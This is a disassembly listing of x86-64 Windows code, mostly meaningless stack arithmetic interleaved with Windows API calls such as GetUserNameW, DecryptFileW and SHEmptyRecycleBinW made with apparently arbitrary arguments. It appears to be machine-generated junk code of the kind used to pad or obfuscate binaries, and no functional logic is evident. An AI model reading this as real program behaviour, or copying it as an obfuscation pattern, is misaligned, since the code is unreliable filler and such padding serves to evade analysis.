mov rcx, qword [rsp + 0xdf90]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd0b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xe3f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xda00]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1048], ax
mov rax, qword [rsp + 0xdbf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2a60], ax
mov rax, qword [rsp + 0xe4b0]
mov rcx, qword [rsp + 0xe4d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xdb98]
mov qword [rcx], rax
lea rax, [rsp + 0xdfc8]
mov qword [rsp + 0xe580], rax
mov rax, qword [rsp + 0xe340]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55f]
add eax, ecx
mov byte [rsp + 0x4e6], al
mov rax, qword [rsp + 0xd0d0]
mov eax, dword [rax]
mov dword [rsp + 0x6f58], eax
lea rdx, [rsp + 0xd2d0]
mov rcx, qword [rsp + 0xce48]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov dword [rsp + 0x6f04], eax
movsx eax, word [rsp + 0x2ac0]
movsx ecx, word [rsp + 0x2c8c]
sub eax, ecx
mov word [rsp + 0x1994], ax
mov rax, qword [rsp + 0xe4a8]
movzx eax, word [rax]
movzx ecx, word [0x14019d150]
and eax, ecx
mov word [0x14019d178], ax
mov rcx, qword [rsp + 0xe588]
call qword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov qword [rsp + 0xe3e8], rax
mov rax, qword [rsp + 0xdef8]
mov rcx, qword [rsp + 0xdc68]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd2a0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x2d34]
movzx ecx, word [rsp + 0x2bbc]
sar eax, cl
mov word [rsp + 0x1108], ax
movzx eax, byte [rsp + 0x53d]
mov rcx, qword [rsp + 0xde68]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x450], al
mov eax, dword [rsp + 0x60c4]
mov dword [rsp + 0x6f5c], eax
mov rax, qword [rsp + 0xe328]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52b]
shl eax, cl
mov byte [rsp + 0x64], al
mov rax, qword [rsp + 0xd340]
mov qword [rsp + 0xe590], rax
mov rax, qword [rsp + 0xd118]
mov ecx, dword [rsp + 0x6f30]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5e40], eax
movsx eax, word [rsp + 0x1340]
mov rcx, qword [rsp + 0xe558]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x11b4], ax
lea rax, [rsp + 0x2ba0]
mov qword [0x14019f360], rax
mov rax, qword [rsp + 0xde88]
mov rcx, qword [rsp + 0xbfc8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xba80], rax
mov rax, qword [0x14019f030]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xabf8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xe218], rax
lea rax, [rsp + 0x210c]
mov qword [rsp + 0xe598], rax
movzx eax, word [rsp + 0x2adc]
mov rcx, qword [rsp + 0xd700]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2ccc], ax
movsx eax, byte [rsp + 0x50e]
movsx ecx, byte [rsp + 0x4e0]
sar eax, cl
mov byte [rsp + 0x27f], al
lea rax, [rsp + 0xd0c8]
mov qword [rsp + 0xe5a0], rax
mov edx, 0x8b
mov rcx, qword [rsp + 0xdde0]
call qword [sym.imp.ADVAPI32.dll_DecryptFileW]
mov dword [rsp + 0x6d50], eax
mov rax, qword [rsp + 0xd0d0]
mov rcx, qword [rsp + 0xd338]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xd3d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd2e0]
mov rax, qword [rax]
mov qword [rsp + 0xe5a8], rax
mov rax, qword [rsp + 0xda00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ba8]
add eax, ecx
mov word [0x14019d07c], ax
movzx eax, word [rsp + 0x2ce0]
mov rcx, qword [rsp + 0xdca8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b34], ax
mov rax, qword [rsp + 0xdc50]
movzx eax, byte [rax]
movzx ecx, byte [0x14019ef90]
and eax, ecx
mov byte [rsp + 0x528], al
mov rax, qword [rsp + 0xd0f8]
mov eax, dword [rax]
cdq
idiv dword [rsp + 0x5e08]
mov dword [rsp + 0x5be0], eax
mov rax, qword [rsp + 0xd860]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa6f8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xda98], rax
mov rax, qword [rsp + 0xd0e8]
mov rax, qword [rax]
mov qword [rsp + 0xe5b0], rax
mov rax, qword [rsp + 0xdfa8]
mov rcx, qword [rsp + 0xd338]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x6dfc], eax
movsx eax, byte [rsp + 0x18d]
mov rcx, qword [rsp + 0xe0c8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4f9], al
mov rax, qword [rsp + 0xd5b0]
movzx eax, word [rax]
mov word [rsp + 0x2ddc], ax
mov rax, qword [rsp + 0xd8c8]
movzx eax, word [rax]
mov word [0x14019f368], ax
mov rax, qword [rsp + 0xb568]
movzx ecx, al
mov rax, qword [rsp + 0x9428]
shl rax, cl
mov qword [rsp + 0xad00], rax
mov rax, qword [0x14019f230]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd888]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1adc], ax
movsx eax, word [rsp + 0x2a7c]
movsx ecx, word [rsp + 0x2d84]
sub eax, ecx
mov word [rsp + 0x2d78], ax
mov rax, qword [rsp + 0x9e78]
mov qword [rsp + 0xe5b8], rax
mov rax, qword [0x14019f320]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x551]
sub eax, ecx
mov byte [rsp + 0x4eb], al
mov rax, qword [rsp + 0xe010]
mov rcx, qword [rsp + 0xdc58]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xe388]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd058]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5d04], eax
movzx eax, word [rsp + 0x1d98]
mov rcx, qword [rsp + 0xe250]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2648], ax
mov rax, qword [0x14019f308]
mov rcx, qword [rsp + 0xd720]
mov qword [rsp + 0xe5c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe5c0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [0x14019f268]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6db4]
mov dword [rsp + 0x6f60], eax
movzx eax, byte [rsp + 0x50b]
mov rcx, qword [rsp + 0xd9e0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x524], al
mov rax, qword [rsp + 0xdb90]
movsx eax, word [rax]
movsx ecx, word [0x14019d110]
or eax, ecx
mov word [rsp + 0x2c50], ax
mov rax, qword [rsp + 0xdf98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c44]
xor eax, ecx
mov word [rsp + 0x26dc], ax
mov rax, qword [rsp + 0xe0c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe1d0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x52f], al
mov rax, qword [0x14019f158]
mov eax, dword [rax]
mov dword [rsp + 0x6f64], eax
mov rax, qword [rsp + 0xe278]
mov rcx, qword [rsp + 0xe488]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xde20], rax
movsx eax, word [rsp + 0x2d5c]
movsx ecx, word [rsp + 0x1714]
shl eax, cl
mov word [rsp + 0x2b78], ax
mov rax, qword [rsp + 0xd4e0]
movzx eax, word [rax]
mov word [0x14019f36c], ax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov qword [rsp + 0xe5c8], rax
mov rax, qword [rsp + 0xe3a8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xdc30]
sar rax, cl
mov qword [rsp + 0xdc90], rax
mov rax, qword [0x14019f150]
mov rcx, qword [rsp + 0xd298]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb018], rax
mov rax, qword [rsp + 0xdb90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd7d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2d6c], ax
mov rax, qword [rsp + 0xe260]
movzx eax, byte [rax]
mov byte [rsp + 0x560], al
mov rax, qword [rsp + 0xdc60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5fd8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6774], eax
mov rax, qword [rsp + 0xdb10]
mov rcx, qword [rsp + 0x9f98]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9790], rax
mov rax, qword [rsp + 0xe440]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd1d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1d0], al
lea rdx, [rsp + 0xdb28]
mov rcx, qword [rsp + 0xdc20]
call qword [sym.imp.SHELL32.dll_DragQueryPoint]
mov dword [rsp + 0x6bc8], eax
mov rax, qword [rsp + 0xda28]
mov rcx, qword [rsp + 0xd098]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6414], eax
movsx eax, word [rsp + 0x2dc8]
mov rcx, qword [rsp + 0xd898]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x14019d1e0], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov word [rsp + 0x2de0], ax
mov rax, qword [rsp + 0xd620]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2db8]
sar eax, cl
mov word [rsp + 0x2d64], ax
mov rax, qword [rsp + 0xd780]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xca28]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd590], rax
mov rax, qword [rsp + 0xc128]
mov qword [rsp + 0xe5d0], rax
mov rax, qword [rsp + 0xd118]
mov ecx, dword [rsp + 0x654c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6e1c], eax
lea rax, [rsp + 0x55f]
mov qword [rsp + 0xe5d8], rax
movsx eax, word [0x14019eff8]
mov rcx, qword [rsp + 0xd420]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2d98], ax
lea rdx, [rsp + 0x21410]
mov rcx, qword [rsp + 0xcf90]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov dword [rsp + 0x6f68], eax
mov r8d, 0x5c
mov rdx, qword [rsp + 0xe070]
mov rcx, qword [rsp + 0xd010]
call qword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
mov dword [rsp + 0x6e4c], eax
mov rax, qword [rsp + 0xd630]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf04], ax
mov rax, qword [rsp + 0xd548]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd0b8]
sub rcx, rax
mov rax, rcx
mov qword [0x14019d1d0], rax
movzx eax, word [rsp + 0x2a4c]
movzx ecx, word [rsp + 0x2b98]
or eax, ecx
mov word [rsp + 0x2128], ax
mov rax, qword [0x14019f2b0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xe218]
shl rax, cl
mov qword [rsp + 0xb570], rax
mov rax, qword [rsp + 0xe3a0]
mov qword [rsp + 0xe5e0], rax
movsx eax, byte [rsp + 0x533]
mov rcx, qword [rsp + 0xe500]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xf7], al
mov rax, qword [rsp + 0xdd80]
mov eax, dword [rax]
imul eax, dword [0x14019f2cc]
mov dword [rsp + 0x66a4], eax
mov rax, qword [rsp + 0xd050]
mov ecx, dword [rsp + 0x6af0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x65b4], eax
movzx eax, byte [rsp + 0x36f]
mov rcx, qword [rsp + 0xd1a0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xdd98]
mov byte [rcx], al
mov rax, qword [0x14019f120]
mov rax, qword [rax]
mov qword [rsp + 0xe5e8], rax
movsx eax, word [rsp + 0x2b94]
mov rcx, qword [rsp + 0xe3f8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14019f318], ax
mov rax, qword [rsp + 0xd420]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd928]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c14], ax
movzx eax, word [0x14019d198]
mov word [rsp + 0x2de4], ax
lea rcx, [rsp + 0x1f3f0]
call qword [sym.imp.COMDLG32.dll_ChooseFontW]
mov dword [rsp + 0x6f6c], eax
mov rax, qword [rsp + 0xd910]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd888]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a60], ax
mov rax, qword [rsp + 0xe540]
mov rcx, qword [rsp + 0xac30]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd4c8], rax
xor edx, edx
mov rax, qword [0x14019f158]
mov eax, dword [rax]
div dword [rsp + 0x6e40]
mov dword [rsp + 0x6420], eax
mov rax, qword [rsp + 0xe4b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe5d8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x4e3], al
lea rcx, [rsp + 0x20930]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [rsp + 0x6bc8], eax
movzx eax, word [rsp + 0x2b9c]
mov word [rsp + 0x2de8], ax
movzx eax, word [rsp + 0x24f8]
movzx ecx, word [rsp + 0x2c1c]
sar eax, cl
mov word [rsp + 0x2a60], ax
mov rax, qword [rsp + 0xd940]
mov rax, qword [rax]
mov qword [0x14019f370], rax
mov rax, qword [rsp + 0xe190]
movzx ecx, al
mov rax, qword [rsp + 0xd670]
shl rax, cl
mov qword [rsp + 0xd288], rax
mov rax, qword [rsp + 0xda90]
mov rcx, qword [rsp + 0xdd90]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc3e8], rax
mov rax, qword [rsp + 0xd0d8]
mov rcx, qword [rsp + 0xd758]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xdd78], rax
mov rax, qword [rsp + 0xdf98]
movzx eax, word [rax]
mov word [rsp + 0x2dec], ax
mov rax, qword [rsp + 0xd1a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4e7]
shl eax, cl
mov byte [rsp + 0x4e9], al
mov rax, qword [rsp + 0xdbc8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xda60]
mov qword [rsp + 0xe5f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe5f0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x64c4], eax
mov r9, qword [rsp + 0xd368]
mov r8, qword [rsp + 0xdbf8]
mov rdx, qword [rsp + 0xd268]
mov rcx, qword [rsp + 0xce90]
call qword [sym.imp.SHELL32.dll_ShellAboutW]
mov dword [rsp + 0x6f70], eax
mov rax, qword [0x14019f158]
mov eax, dword [rax]
mov dword [rsp + 0x6f74], eax
mov rax, qword [rsp + 0xe078]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd6e0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd8d0], rax
movsx eax, byte [rsp + 0x252]
mov rcx, qword [rsp + 0xdd48]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [str.mA8xd_v0], al
movsx eax, word [rsp + 0x2b68]
movsx ecx, word [rsp + 0x171c]
sub eax, ecx
mov word [rsp + 0x2874], ax
mov rax, qword [rsp + 0xd7b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd2d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2dd4], ax
mov rax, qword [rsp + 0xe2b0]
movzx eax, word [rax]
mov word [rsp + 0x2df0], ax
mov rax, qword [rsp + 0xe4b0]
mov rcx, qword [rsp + 0x9448]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xd0d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9790]
mov rcx, qword [rsp + 0xaaf8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xaf38], rax
mov rax, qword [rsp + 0xe160]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x547]
shl eax, cl
mov byte [rsp + 0x1ae], al
mov rax, qword [rsp + 0xdd88]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6df8]
shr eax, cl
mov dword [rsp + 0x5e94], eax
mov rax, qword [rsp + 0xe220]
movzx eax, word [rax]
mov word [rsp + 0x2df4], ax
movzx eax, word [rsp + 0x24f8]
movzx ecx, word [rsp + 0x2b98]
or eax, ecx
mov word [0x14019d1e4], ax
mov rax, qword [rsp + 0xd2a0]
mov rcx, qword [rsp + 0xdcd8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc248], rax
mov rax, qword [rsp + 0xd620]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdbd0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2010], ax
movzx eax, byte [rsp + 0x528]
mov rcx, qword [rsp + 0xde68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4b7], al
mov eax, dword [rsp + 0x6dc8]
movzx ecx, al
mov eax, dword [rsp + 0x6540]
shl eax, cl
mov dword [rsp + 0x6b50], eax
mov rax, qword [rsp + 0xe0a0]
mov eax, dword [rax]
mov dword [rsp + 0x6f78], eax
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd658]
shr rax, cl
mov qword [rsp + 0x9538], rax
mov rax, qword [rsp + 0xdd70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd218]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1ae], al
movzx eax, word [rsp + 0x1994]
mov word [rsp + 0x2df8], ax
movzx eax, word [rsp + 0x2aa8]
mov word [0x14019f378], ax
mov rax, qword [rsp + 0xdfe8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd1e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd558], rax
mov rax, qword [rsp + 0xe378]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ef8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xad58], rax
mov rax, qword [rsp + 0xd470]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe3f8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xd928]
mov word [rcx], ax
mov rax, qword [rsp + 0xdf78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd60]
and eax, ecx
mov word [rsp + 0x24f8], ax
mov rax, qword [rsp + 0x9e28]
mov qword [rsp + 0xe5f8], rax
lea rax, [rsp + 0xe068]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xce20]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1e3f0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xd138]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xd1f8]
mov r8, qword [rsp + 0xd1f8]
mov rdx, qword [rsp + 0xd528]
mov ecx, 0xa0
call sub.VERSION.dll_VerFindFileW
mov dword [rsp + 0x6f7c], eax
mov rax, qword [rsp + 0xd118]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6420]
shr eax, cl
mov dword [rsp + 0x6e40], eax
lea rax, [rsp + 0x21c]
mov qword [rsp + 0xe600], rax
mov rax, qword [rsp + 0xdda0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd478]
mov qword [rsp + 0xe608], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe608]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xabd0], rax
movsx eax, word [rsp + 0x1dfc]
mov rcx, qword [rsp + 0xdb90]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x14019f138], ax
movzx eax, word [0x14019f204]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1660], ax
mov rax, qword [rsp + 0xe550]
mov ecx, dword [rsp + 0x61f8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x63c8], eax
movzx eax, byte [rsp + 0x53c]
movzx ecx, byte [0x14019ef90]
add eax, ecx
mov byte [rsp + 0x1d0], al
mov rax, qword [rsp + 0xdfc0]
mov qword [rsp + 0xe610], rax
movsx eax, byte [rsp + 0x52f]
movsx ecx, byte [rsp + 0x32a]
sub eax, ecx
mov byte [rsp + 0x512], al
lea rax, [rsp + 0x5fd8]
mov qword [rsp + 0xe618], rax
mov rax, qword [rsp + 0xd468]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xad08]
shr rax, cl
mov qword [rsp + 0x9790], rax
mov rax, qword [rsp + 0xdf90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xdd10]
mov word [rcx], ax
mov rax, qword [0x14019f060]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d08]
or eax, ecx
mov word [0x14019f2a8], ax
mov rax, qword [rsp + 0xd660]
mov rax, qword [rax]
mov qword [rsp + 0xe620], rax
movzx eax, word [rsp + 0x2cb8]
mov rcx, qword [rsp + 0xd8b0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a68], ax
mov rax, qword [rsp + 0xe0b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd898]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1698], ax
mov rax, qword [rsp + 0xd918]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe4f8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf48], rax
lea rcx, [rsp + 0x1f3f0]
call qword [sym.imp.COMDLG32.dll_ChooseFontW]
mov dword [rsp + 0x6f80], eax
mov rax, qword [rsp + 0xdea8]
mov rcx, qword [rsp + 0xac98]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xdcc8], rax
mov rax, qword [rsp + 0xdff0]
mov eax, dword [rax]
mov dword [rsp + 0x6f84], eax
mov rax, qword [rsp + 0xe450]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe308]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xd218]
mov byte [rcx], al
movzx eax, word [rsp + 0x2ae0]
movzx ecx, word [0x14019f2f0]
sar eax, cl
mov word [rsp + 0x1c4c], ax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov qword [0x14019f380], rax
mov rax, qword [rsp + 0xdd98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53c]
or eax, ecx
mov byte [rsp + 0x541], al
mov eax, dword [rsp + 0x5938]
mov ecx, dword [rsp + 0x6ee4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e54], eax
movzx eax, word [rsp + 0x2c14]
mov word [rsp + 0x2dfc], ax
mov rax, qword [rsp + 0xd8a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d90]
sub eax, ecx
mov word [rsp + 0x1494], ax
mov rax, qword [0x14019f120]
mov rax, qword [rax]
mov qword [rsp + 0xe628], rax
mov rax, qword [rsp + 0xe1f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5ba8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e94], eax
movsx eax, byte [rsp + 0xeb]
movsx ecx, byte [rsp + 0x4ad]
add eax, ecx
mov byte [rsp + 0x3d1], al
mov rax, qword [rsp + 0xd188]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a50]
or eax, ecx
mov word [rsp + 0x2cd8], ax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd4a8]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14019f2fc], ax
mov rax, qword [0x14019f130]
movzx ecx, al
mov rax, qword [rsp + 0xe338]
shl rax, cl
mov qword [rsp + 0xdb88], rax
mov rax, qword [rsp + 0xd848]
mov qword [rsp + 0xe630], rax
mov rax, qword [rsp + 0xd918]
mov rcx, qword [rsp + 0xd890]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa6f8], rax
mov rax, qword [rsp + 0xe220]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd7b8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1038], ax
lea r9, [rsp + 0x1e650]
lea r8, [rsp + 0xd668]
lea rdx, [rsp + 0x225a0]
mov rcx, qword [rsp + 0xd2b8]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExW]
mov dword [rsp + 0x6ed0], eax
movsx eax, byte [rsp + 0x4f4]
movsx ecx, byte [rsp + 0x362]
sub eax, ecx
mov rcx, qword [rsp + 0xe5d8]
mov byte [rcx], al
mov rax, qword [rsp + 0xd0d0]
mov rcx, qword [rsp + 0xdbd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6ddc], eax
mov rcx, qword [rsp + 0xde50]
call qword [sym.imp.SHELL32.dll_DragFinish]
mov rax, qword [rsp + 0xd3b8]
mov rax, qword [rax]
mov qword [rsp + 0xe638], rax
movzx eax, byte [rsp + 0x517]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x51f], al
mov rax, qword [rsp + 0xd098]
mov ecx, dword [0x14019efa8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6784], eax
lea rax, [rsp + 0x2af8]
mov qword [0x14019f388], rax
mov rax, qword [rsp + 0xdf98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1108]
shl eax, cl
mov rcx, qword [rsp + 0xd8b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd700]
movzx eax, word [rax]
movzx ecx, word [0x14019f090]
sub eax, ecx
mov word [rsp + 0x2c44], ax
lea rdx, [rsp + 0x6e4c]
lea rcx, [rsp + 0xe0f0]
call qword [sym.imp.SHELL32.dll_SHIsFileAvailableOffline]
mov dword [rsp + 0x6f88], eax
mov rax, qword [rsp + 0xda90]
mov rax, qword [rax]
mov qword [rsp + 0xe640], rax
lea rcx, [rsp + 0xd520]
call qword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
lea r9, [rsp + 0xdf08]
lea r8, [rsp + 0xd4e8]
mov edx, reloc.SHELL32.dll_SHDoDragDrop
mov ecx, 0x30
call qword [sym.imp.SHELL32.dll_SHChangeNotify]
movsx eax, byte [rsp + 0x530]
movsx ecx, byte [rsp + 0x512]
add eax, ecx
mov byte [rsp + 0x2b5], al
mov eax, dword [0x14019d1dc]
mov dword [rsp + 0x6f8c], eax
mov rax, qword [rsp + 0xe5a0]
mov rcx, qword [rsp + 0xd1e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xdff8], rax
movsx eax, word [rsp + 0x213c]
movsx ecx, word [rsp + 0x1390]
add eax, ecx
mov word [rsp + 0x2090], ax
mov rax, qword [rsp + 0xd828]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2cd0]
add eax, ecx
mov word [rsp + 0x2d94], ax
mov rax, qword [rsp + 0xd8f0]
movzx ecx, al
mov rax, qword [rsp + 0xae80]
shl rax, cl
mov qword [0x14019f350], rax
movzx eax, word [rsp + 0x2d40]
mov rcx, qword [0x14019f230]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xe2a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xdbc0]
mov qword [rsp + 0xe648], rax
mov rax, qword [rsp + 0xd940]
mov rcx, qword [rsp + 0xaa88]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x90d8], rax
mov rax, qword [0x14019f120]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1c0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xab48], rax
mov rax, qword [rsp + 0xe2f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd9f0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x54c], al
mov rax, qword [rsp + 0xdc50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdd98]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1de], al
lea r8, [rsp + 0x216d0]
lea rdx, [rsp + 0x1e068]
mov ecx, 0x82
call qword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [rsp + 0x6f88], eax
mov eax, dword [rsp + 0x6eb8]
mov dword [rsp + 0x6f90], eax
mov rax, qword [rsp + 0xd118]
mov eax, dword [rax]
imul eax, dword [rsp + 0x64a8]
mov rcx, qword [rsp + 0xd960]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe3f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdcf8]
movsx ecx, word [rcx]
sar eax, cl
